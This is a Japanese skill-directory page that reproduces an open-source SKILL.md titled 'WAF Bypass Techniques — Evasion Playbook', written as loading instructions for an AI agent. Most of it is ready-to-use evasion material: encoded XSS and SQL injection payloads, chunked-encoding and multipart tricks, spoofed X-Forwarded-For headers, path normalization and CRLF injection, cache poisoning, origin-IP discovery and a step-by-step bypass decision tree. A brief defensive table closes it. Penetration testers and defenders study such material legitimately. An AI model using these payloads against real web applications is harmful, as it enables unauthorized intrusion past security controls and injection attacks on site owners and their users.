Agent Skills by ALSEL
Anthropic Claudeソフトウェア開発⭐ リポ 0品質スコア 50/100

waf-bypass-techniques

WAFがSQLi・XSS・RCEなどのインジェクションペイロードをブロックする際に、エンコーディング・プロトコルレベルのトリック・WAF固有の脆弱性を活用してバイパスを構築するための手法と汎用的な回避テクニックを提供します。Webアプリケーションファイアウォールによる遮断を突破する必要があるときに使用してください。

description の原文を見る

>- WAF bypass methodology and generic evasion techniques. Use when a web application firewall blocks injection payloads (SQLi, XSS, RCE) and you need to craft bypasses using encoding, protocol-level tricks, or WAF-specific weaknesses.

SKILL.md 本文

SKILL: WAF Bypass Techniques — Evasion Playbook

AI LOAD INSTRUCTION: Covers WAF identification, generic bypass categories (encoding, protocol abuse, HTTP/2, parameter pollution), and a decision tree. For product-specific bypasses (Cloudflare, AWS WAF, ModSecurity, Akamai, etc.), load WAF_PRODUCT_MATRIX.md. Base models often suggest basic encoding but miss protocol-level bypasses and WAF behavioral quirks.

0. RELATED ROUTING

  • sqli-sql-injection WAF をバイパスした後にペイロードを配信する場合
  • xss-cross-site-scripting WAF の回避が必要な XSS ペイロード
  • request-smuggling リクエスト スマグリングで WAF 全体を迂回できる場合
  • http-parameter-pollution HPP 自体が WAF バイパス プリミティブ
  • csp-bypass-advanced WAF がインライン スクリプトをブロックするが CSP バイパスが利用可能な場合
  • ghost-bits-cast-attack Java バックエンドのみ — 上記のすべてのエンコーディング トリックがブロックされた場合、Ghost Bits を使用します:Java の 16 ビット char から 8 ビット byte への狭窄により、危険な ASCII バイトごとに 255 の Unicode バイパス バリアントが生成されます。Tomcat、Spring、Jetty、Jackson、Fastjson、BCEL など、WAF で修正された CVE を再度有効にします

プロダクト固有リファレンス

Cloudflare、AWS WAF、ModSecurity CRS、Akamai、Imperva、F5 BIG-IP、または Sucuri のプロダクト固有のバイパス技術が必要な場合は、WAF_PRODUCT_MATRIX.md を読み込んでください。


1. PHASE 0 — WAF の識別

バイパスする前に、相手が何かを知ることが重要です。

1.1 ツール

ツール使用方法
wafw00f target.comレスポンス ヘッダー/動作から WAF ベンダーをフィンガープリント
nmap --script=http-waf-detectWAF 検出用 NSE スクリプト
手動ヘッダー検査ServerX-CDNX-Cachecf-ray (Cloudflare)、x-sucuri-idx-akamai-*

1.2 動作フィンガープリンティング

1. 良性リクエストを送信 → ベースラインレスポンス (ステータス、ヘッダー、ボディサイズ) を記録
2. 明らかな攻撃を送信: /?q=<script>alert(1)</script>
3. 比較: 403? カスタムブロックページ? リダイレクト? 接続リセット?
4. ブロックページの内容が WAF を明かす: "Cloudflare"、"Access Denied (Imperva)"、"ModSecurity"
5. 透過プロキシの場合: レスポンス時間の差分をチェック (WAF は遅延を追加)

2. ジェネリック バイパス カテゴリ

2.1 エンコーディング バイパス

技術バイパス対象
URL エンコーディング%3Cscript%3E基本的な文字列マッチング
ダブル URL エンコーディング%253Cscript%253E1 回デコードする WAF、アプリが 2 回デコード
Unicode エンコーディング%u003Cscript%u003EIIS 固有の Unicode 正規化
HTML エンティティ&#60;script&#62; または &#x3c;script&#x3e;HTML エンティティ デコードを実行しない WAF
16 進数エンコーディング (SQL)0x756E696F6E = unionSQL キーワード マッチング WAF
8 進数エンコーディング\74script\76稀だが、一部のパーサーが対応
オーバーロング UTF-8%C0%BC (< の無効なエンコーディング)ルーズな UTF-8 処理のレガシー パーサー
大文字小文字の混在SeLeCtuNiOn大文字小文字を区別するルール マッチング
ヌルバイトsel%00ectヌルで解析を中止する WAF

2.2 チャンク転送エンコーディング

ブロックされたパターンを含まないように、ペイロードを HTTP チャンク全体に分割します:

POST /search HTTP/1.1
Transfer-Encoding: chunked

3
sel
3
ect
1
 
4
from
0

フルボディを検査する WAF は、マッチング前にチャンクを再組立しないことがあります。

2.3 HTTP/2 バイナリ形式バイパス

HTTP/2 はヘッダーを HPACK エンコードされたフレームとしてバイナリで転送します。一部の WAF は HTTP/1.1 にダウングレードした後でのみ検査します:

  • ヘッダー名は HTTP/1.1 で不正な文字を含める可能性
  • 疑似ヘッダー (:method:path) はヘッダーベースの WAF ルールをバイパス
  • H2 → H1 ダウングレードがリクエスト スマグリングをもたらす可能性 (request-smuggling を参照)

2.4 HTTP パラメータ ポリューション (HPP)

異なるサーバーは重複パラメータを異なる方法で処理します:

サーバー?a=1&a=2 の動作
PHP/Apache最後の値: a=2
ASP.NET/IIS連結: a=1,2
Python/Flask最初の値: a=1
Node.js/Express配列: a=[1,2]

WAF が a=1 をチェック (良性)、アプリが a=2 を使用 (悪意)。または結合: a=sel&a=ect → ASP.NET が a=sel,ect を認識。

2.5 IP ソース スプーフィング (IP ベースのルールのバイパス)

一部の WAF/アプリが信頼するクライアント IP のヘッダー:

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1

ユースケース: WAF が内部 IP をホワイトリストに登録しているか、ソースごとに異なるルール セットを持っています。

2.6 パス正規化トリック

技術効果
ドット セグメント/./admin または /../target/adminWAF は app と異なるパスを認識
ダブル スラッシュ//adminいくつかの正規化ツールが折りたたみ、WAF は一部折りたたまない
パスの URL エンコーディング/%61dminWAF がエンコード、アプリ がデコード
パスのヌルバイト/admin%00.jpgレガシー: アプリはヌルで切り詰め、WAF は .jpg を認識
バックスラッシュ (IIS)/admin\..\/secretIIS は \/ として処理
末尾のドット/スペース/admin. または /admin%20OS レベルの正規化 (Windows)
セミコロン (Tomcat)/admin;jsessionid=xTomcat は ; の後を削除、WAF は一部削除しない

2.7 Content-Type 操作

WAF は多くの場合、形式固有のパーサーを持っています。Content-Type を切り替えるとルールをバイパスできます:

デフォルト:  Content-Type: application/x-www-form-urlencoded  → WAF がパラメータを解析
切り替え:   Content-Type: application/json  → WAF が JSON ボディを解析しない可能性
切り替え:   Content-Type: multipart/form-data  → WAF がすべてのパートを検査しない可能性
切り替え:   Content-Type: text/xml  → WAF が XML を予期、ペイロードが別の形式

トリック: アプリが JSON と form-urlencoded の両方を受け入れる場合、JSON を使用します — WAF は多くの場合、JSON 検査ルールが弱いです。

2.8 マルチパート境界悪用

Content-Type: multipart/form-data; boundary=----WAFBypass

------WAFBypass
Content-Disposition: form-data; name="q"

<script>alert(1)</script>
------WAFBypass--

変更: 長い境界文字列、特殊文字を含む境界、最終境界がない、ネストされたマルチパート。

2.9 改行 & ホワイトスペース インジェクション

-- SQL キーワード分割
SEL
ECT * FROM users

-- SQL コメント挿入
SEL/**/ECT * FR/**/OM users
UN/**/ION SEL/**/ECT 1,2,3

-- セパレータとしてのタブ/垂直タブ
SELECT\t*\tFROM\tusers

2.10 キーワード分割 & 代替構文

ブロック代替
UNION SELECTUNION ALL SELECTUNION DISTINCT SELECT
OR 1=1OR 2>1OR 'a'='a'||1
<script><svg/onload=alert(1)><img src=x onerror=alert(1)>
alert(1)prompt(1)confirm(1)print() (Chrome)
eval()Function('code')()setTimeout('code',0)
' OR '1'='1' OR 1-- -'||'1
SLEEP(5)BENCHMARK(5000000,SHA1('x'))pg_sleep(5)

3. プロトコルレベル バイパス技術

3.1 リクエスト ライン悪用

GET /path?q=attack HTTP/1.1    ← WAF が検査

vs.

GET http://target.com/path?q=attack HTTP/1.1   ← 絶対 URI: 一部の WAF がパスをミス

3.2 CRLF 経由ヘッダー インジェクション

WAF が元のヘッダーを検査するが、アプリが挿入されたヘッダーを処理する場合:

X-Custom: value\r\nX-Forwarded-For: 127.0.0.1

3.3 接続状態バイパス

1. WAF を通じて接続を確立 (通常のリクエスト)
2. 同じ keep-alive 接続上で、攻撃リクエストを送信
3. 一部の WAF は同じ接続内の後続リクエストで検査を削減

4. WAF バイパス決定木

WAF によってペイロードがブロックされました。
├── WAF を識別 (wafw00f、レスポンス ヘッダー、ブロック ページ)
│
├── エンコーディング バイパスを試す
│   ├── ペイロードを URL エンコード → まだブロック?
│   ├── ダブル URL エンコード → まだブロック?
│   ├── Unicode/オーバーロング UTF-8 → まだブロック?
│   ├── 大文字小文字混在キーワード → まだブロック?
│   └── HTML エンティティ (XSS の場合) → まだブロック?
│
├── プロトコルレベル バイパスを試す
│   ├── Content-Type を切り替え (JSON、multipart、XML)
│   │   └── アプリが別の形式を受け入れ? → ペイロードを再送信
│   ├── HTTP パラメータ ポリューション (重複パラメータ)
│   ├── チャンク転送エンコーディングでペイロードを分割
│   ├── HTTP/2 直接 (バイナリ フレーミング バイパス) が利用可能
│   └── リクエスト ライン: 絶対 URI 形式
│
├── パスベース バイパスを試す
│   ├── パス正規化 (/./path、//path、;param)
│   ├── 別の HTTP メソッド (POST vs PUT vs PATCH)
│   └── 同じ機能を提供する別のエンドポイント
│
├── ペイロード ミューテーションを試す
│   ├── SQL: コメント (/**/), 代替関数, 16 進数リテラル
│   ├── XSS: 代替タグ/イベント、JS テンプレート リテラル
│   ├── RCE: ワイルドカード悪用、文字列連結、変数展開
│   └── WAF_PRODUCT_MATRIX.md でベンダー固有のミューテーションを確認
│
├── IP ソース バイパスを試す
│   ├── X-Forwarded-For / True-Client-IP スプーフィング
│   ├── オリジン サーバーに直接アクセス (CDN をバイパス)
│   └── オリジン IP を検出 (Shodan、履歴 DNS、メール ヘッダー)
│
└── リクエスト スマグリングで WAF 全体をスキップ
    └── ../request-smuggling/SKILL.md を参照

5. よくある間違い & トリック ノート

  1. 実際のエクスプロイテーションでバイパスをテスト、単なる 200 OK ではない: WAF が 200 を返してもペイロードを静かに削除する可能性があります。
  2. WAF はサイズ制限をよく持っている: 非常に大きなリクエスト ボディ (WAF に応じて 8KB–128KB を超える) は検査をバイパスする可能性があります。
  3. レート制限 ≠ WAF: 429 を取得することはレート制限であり、ペイロード ブロックではありません。別のバイパスが必要です。
  4. CDN キャッシング: WAF が CDN レベルにある場合、キャッシュされたレスポンスはその後のリクエストで WAF をバイパスします。クリーン リクエストでキャッシュを中毒し、キャッシュをエクスプロイト。
  5. オリジン サーバーへの直接アクセス: CDN/WAF の背後のオリジン IP を見つけた場合、直接接続します — WAF は完全にバイパスされます。
  6. マルチパート ファイル アップロード フィールド: WAF はマルチパート アップロードのファイル コンテンツをスキップすることがよくあります — ファイル名またはファイル コンテンツに反映されている場合、ペイロードを埋め込みます。

6. 防御パースペクティブ

対策注記
WAF + アプリケーション レベルの入力検証WAF は層であり、修正ではありません
パラメータ化クエリWAF に関係なく SQLi を排除
CSP + 出力エンコーディングWAF に関係なく XSS を排除
WAF ルールを定期的に更新ベンダーのシグネチャは新しいバイパスに遅れる
デフォルトで拒否、リストをブロックしない有効な入力パターンをホワイトリスト
WAF ブロックをログして警告バイパス試行はログで表示可能

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

汎用ソフトウェア開発⭐ リポ 39,967

doubt-driven-development

重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 1,175

apprun-skills

TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。

by yysun
OpenAIソフトウェア開発⭐ リポ 797

desloppify

コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。

by Git-on-my-level
汎用ソフトウェア開発⭐ リポ 39,967

debugging-and-error-recovery

テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 39,967

test-driven-development

テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 39,967

incremental-implementation

変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。

by addyosmani
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT